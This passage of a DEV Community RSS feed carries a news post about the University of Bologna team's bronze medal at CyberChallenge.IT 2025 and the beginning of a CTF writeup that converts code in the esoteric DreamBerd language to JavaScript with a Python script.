<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: VaiTon</title>
    <description>The latest articles on DEV Community by VaiTon (@vaiton).</description>
    <link>https://dev.to/vaiton</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F552543%2Ff0dfa05c-b882-4f77-8bca-d4021455f78c.jpeg</url>
      <title>DEV Community: VaiTon</title>
      <link>https://dev.to/vaiton</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/vaiton"/>
    <language>en</language>
    <item>
      <title>[Boost]</title>
      <dc:creator>VaiTon</dc:creator>
      <pubDate>Tue, 08 Jul 2025 00:18:38 +0000</pubDate>
      <link>https://dev.to/vaiton/-3l8d</link>
      <guid>https://dev.to/vaiton/-3l8d</guid>
      <description>&lt;div class="ltag__link"&gt;
  &lt;a href="/ulisse" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__org__pic"&gt;
      &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F6290%2F33735afa-3f0b-4f25-a356-db9db4e70efe.jpg" alt="Ulisse" width="640" height="640"&gt;
      &lt;div class="ltag__link__user__pic"&gt;
        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F552543%2Ff0dfa05c-b882-4f77-8bca-d4021455f78c.jpeg" alt="" width="460" height="460"&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/a&gt;
  &lt;a href="https://dev.to/ulisse/bronze-medal-for-team-unibo-at-cyberchallengeit-2025-16j0" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__content"&gt;
      &lt;h2&gt;Bronze Medal for Team Unibo at CyberChallenge.IT 2025&lt;/h2&gt;
      &lt;h3&gt;VaiTon for Ulisse ・ Jul 8&lt;/h3&gt;
      &lt;div class="ltag__link__taglist"&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/a&gt;
&lt;/div&gt;


</description>
      <category>watercooler</category>
    </item>
    <item>
      <title>Bronze Medal for Team Unibo at CyberChallenge.IT 2025</title>
      <dc:creator>VaiTon</dc:creator>
      <pubDate>Tue, 08 Jul 2025 00:17:30 +0000</pubDate>
      <link>https://dev.to/ulisse/bronze-medal-for-team-unibo-at-cyberchallengeit-2025-16j0</link>
      <guid>https://dev.to/ulisse/bronze-medal-for-team-unibo-at-cyberchallengeit-2025-16j0</guid>
      <description>&lt;p&gt;Months of intense preparation have culminated in an extraordinary achievement: &lt;strong&gt;Team Unibo&lt;/strong&gt; has secured the &lt;strong&gt;bronze medal&lt;/strong&gt; at the &lt;strong&gt;CyberChallenge.IT 2025&lt;/strong&gt; finals, held on July 6th and 7th at the International Training Centre of the ILO (ITCILO) in Turin.&lt;/p&gt;

&lt;p&gt;The six-member team—&lt;strong&gt;Federico Bosi&lt;/strong&gt;, &lt;strong&gt;Giuseppe Aiello&lt;/strong&gt;, &lt;strong&gt;Mattia Ronchi&lt;/strong&gt;, &lt;strong&gt;Marco Balducci&lt;/strong&gt;, &lt;strong&gt;Davide Fiocchi&lt;/strong&gt;, and &lt;strong&gt;Emanuele Argonni&lt;/strong&gt;—stood out in this elite competition. Competing against 40 teams from across Italy, the University of Bologna representatives showcased not only exceptional technical expertise but also remarkable teamwork and resilience under pressure.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzrz1hav5o7oe290qvvq7.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzrz1hav5o7oe290qvvq7.jpg" alt="Photo of the Unibo team with CCIT organizers and tutors at the CCIT.25 award ceremony" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The competition followed a Capture The Flag Attack/Defence format, challenging participants with realistic cybersecurity scenarios and complex technical puzzles. This demanding format requires far more than technical knowledge—it demands strategic thinking, seamless coordination, and the ability to adapt rapidly to evolving threats.&lt;/p&gt;

&lt;p&gt;The team's success represents the culmination of a training journey that began in February within the classrooms of the University of Bologna. This path was made possible thanks to the valuable support of professors &lt;strong&gt;Prof. Marco Prandini&lt;/strong&gt; and &lt;strong&gt;Prof. Andrea Melis&lt;/strong&gt; from the &lt;a href="https://disi.unibo.it" rel="noopener noreferrer"&gt;Department of Computer Science and Engineering (DISI)&lt;/a&gt;, who were able to guide and motivate the participants from the earliest stages of preparation.&lt;/p&gt;

&lt;p&gt;A fundamental role in the team's formation was played by the tutors &lt;strong&gt;Pietro Bertozzi&lt;/strong&gt;, &lt;strong&gt;Giacomo Boschi&lt;/strong&gt;, &lt;strong&gt;Alan Davide Bovo&lt;/strong&gt;, &lt;strong&gt;Karina Chichifoi&lt;/strong&gt;, &lt;strong&gt;Davide Gianessi&lt;/strong&gt;, &lt;strong&gt;Eyad Issa&lt;/strong&gt;, &lt;strong&gt;Luca Lombardi&lt;/strong&gt;, &lt;strong&gt;Renato Marziano&lt;/strong&gt;, and &lt;strong&gt;Elia Soldati&lt;/strong&gt;, who shared their experience and expertise throughout the preparation process.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgy2pr1milv5frr4c304p.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgy2pr1milv5frr4c304p.jpg" alt="Photo of the medal presentation by Gaspare Ferraro to a member of the Unibo team" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tutors &lt;strong&gt;Pietro Bertozzi&lt;/strong&gt; and &lt;strong&gt;Renato Marziano&lt;/strong&gt; accompanied the team to Turin, alongside &lt;strong&gt;Prof. Marco Prandini&lt;/strong&gt;, providing crucial support throughout the high-stakes competition weekend.&lt;/p&gt;

&lt;p&gt;The July 7th award ceremony brought together key figures from Italy's cybersecurity community, including &lt;strong&gt;Prof. Alessandro Armando&lt;/strong&gt;, director of the CINI Cybersecurity National Lab, &lt;strong&gt;Prof. Ginevra Cerrina Feroni&lt;/strong&gt;, Vice President of the Italian Data Protection Authority, and &lt;strong&gt;Dr. Bruno Frattasi&lt;/strong&gt;, Director of the National Cybersecurity Agency. Their presence underscored the competition's significance in Italy's cybersecurity education landscape.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2814g8rxpvydi3hc7hqp.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2814g8rxpvydi3hc7hqp.jpg" alt="Photo of all participants and organizers at the CCIT.25 award ceremony on the lawn of the ILO in Turin" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The CyberChallenge.IT experience represents not only a moment of competition, but a unique opportunity for professional and personal growth. Participants had the chance to interact with peers from all over Italy, sharing knowledge and creating a network of contacts that will prove valuable in their professional future.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fngzk1vjmbt4yaux2o6u2.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fngzk1vjmbt4yaux2o6u2.jpg" alt="Photo of Federico Bosi presenting the structure and organization of the Unibo team" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This result confirms the excellence of the University of Bologna in training cybersecurity professionals and represents a source of pride for the entire university. The bronze medal is the tangible recognition of a constant commitment and dedication that has characterized the entire journey, from theoretical classroom training to the final challenge in the field.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Perfect Bird - TRX CTF 2025 Writeup</title>
      <dc:creator>VaiTon</dc:creator>
      <pubDate>Sun, 02 Mar 2025 01:43:01 +0000</pubDate>
      <link>https://dev.to/ulisse/perfect-bird-trx-ctf-2025-writeup-15k9</link>
      <guid>https://dev.to/ulisse/perfect-bird-trx-ctf-2025-writeup-15k9</guid>
      <description>&lt;p&gt;&lt;em&gt;Cover image: &lt;a href="https://commons.wikimedia.org/wiki/File:Asian_pied_starlings_(Gracupica_contra).jpg" rel="noopener noreferrer"&gt;Asian pied starlings (Gracupica contra)&lt;/a&gt; - CC-BY-SA 4.0&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;As a &lt;em&gt;bird&lt;/em&gt; soaring through the sky, you seek the &lt;em&gt;perfect language&lt;/em&gt;, and then... you find this&lt;/p&gt;

&lt;h2&gt;
  
  
  Writeup
&lt;/h2&gt;

&lt;p&gt;Opening the &lt;code&gt;chall.db3&lt;/code&gt; file, I come across a weird programming language that looks kind of like JavaScript. The code is full of strange symbols and conventions, and without a guide, it’s pretty hard to figure out what it does.&lt;/p&gt;

&lt;p&gt;My go-to move is always to check the challenge description for hints. Here, the words &lt;em&gt;bird&lt;/em&gt; and &lt;em&gt;perfect language&lt;/em&gt; are italicized, which seems important. So, I search for "bird perfect language programming" online.&lt;/p&gt;

&lt;p&gt;The first result is &lt;a href="https://www.youtube.com/watch?v=tDexugp8EmM" rel="noopener noreferrer"&gt;a video by the streamer ThePrimeTime&lt;/a&gt;, where he talks about this exact programming language.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fctf.ulis.se%2Fwriteups%2F2025%2Ftrx%2Fperfect-bird%2Fsearch_hu_4af5a063983bdc3f.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fctf.ulis.se%2Fwriteups%2F2025%2Ftrx%2Fperfect-bird%2Fsearch_hu_4af5a063983bdc3f.webp" alt="A Google search for " width="800" height="389"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From the video's description, I find my way back to the GitHub repository that explains this language: &lt;a href="https://github.com/TodePond/GulfOfMexico" rel="noopener noreferrer"&gt;https://github.com/TodePond/GulfOfMexico&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It looks like it was originally called "DreamBerd," but now it goes by "GulfOfMexico."&lt;/p&gt;

&lt;h2&gt;
  
  
  DreamBerd - A Perfect Language
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Be bold! End every statement with an exclamation mark!&lt;/p&gt;


&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hello world&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/blockquote&gt;

&lt;p&gt;I start thinking about ways to decipher the code and come up with the idea of writing a script to rewrite it into an existing language (one with an existing interpreter!).&lt;/p&gt;

&lt;p&gt;At first, I consider converting it to Python, but then I realize JavaScript would be a better choice since it’s closer to the original language.&lt;/p&gt;

&lt;p&gt;So, I write a Python script to convert the code to JavaScript and run it to see the output.&lt;/p&gt;

&lt;h3&gt;
  
  
  Converting DreamBerd to JavaScript
&lt;/h3&gt;

&lt;p&gt;The key here is that we don’t need a &lt;em&gt;perfect&lt;/em&gt; (pun intended) conversion—just something accurate enough to run the challenge code.&lt;br&gt;
It doesn’t have to handle every possible DreamBerd program, just this one.&lt;/p&gt;

&lt;p&gt;The first thing we need to do is to fix the lifetimes in the code.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Gulf of Mexico has a built-in garbage collector that will automatically clean&lt;br&gt;
up unused variables. However, if you want to be extra careful, you can specify a&lt;br&gt;
lifetime for a variable, with a variety of units.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In particular, the one bit we cannot tollerate are negative lifetimes:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Variable hoisting can be achieved with this neat trick. Specify a negative&lt;br&gt;
lifetime to make a variable exist before its creation, and disappear after its&lt;br&gt;
creation.&lt;/p&gt;


&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="c1"&gt;//Luke&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Luke&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/blockquote&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/bin/env python3
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fix_lifetimes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;new_lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.+&amp;lt;(.+)&amp;gt;.+&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;new_lines&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="n"&gt;lifetime&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;lifetime&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Infinity&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;new_lines&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="n"&gt;lifetime&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lifetime&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;lifetime&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;lifetime&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;new_lines&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

        &lt;span class="n"&gt;new_pos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_lines&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;lifetime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="c1"&gt;# remove the invalid lifetime
&lt;/span&gt;        &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;lifetime&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;new_lines&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_pos&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Moved line &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;new_pos&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;new_lines&lt;/span&gt;

&lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;fix_lifetimes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Then we need to replace each "strange lang" construct with the corresponding JavaScript construct.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;!&lt;/code&gt; -&amp;gt; nothing
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;!+&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;;&lt;/code&gt; -&amp;gt; &lt;code&gt;!&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
      &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;;([\w|!|(|)]+)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;!(\1)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;Every kind of variable declaration is replaced with &lt;code&gt;let&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;const const const&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;let&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;const const&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;let&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
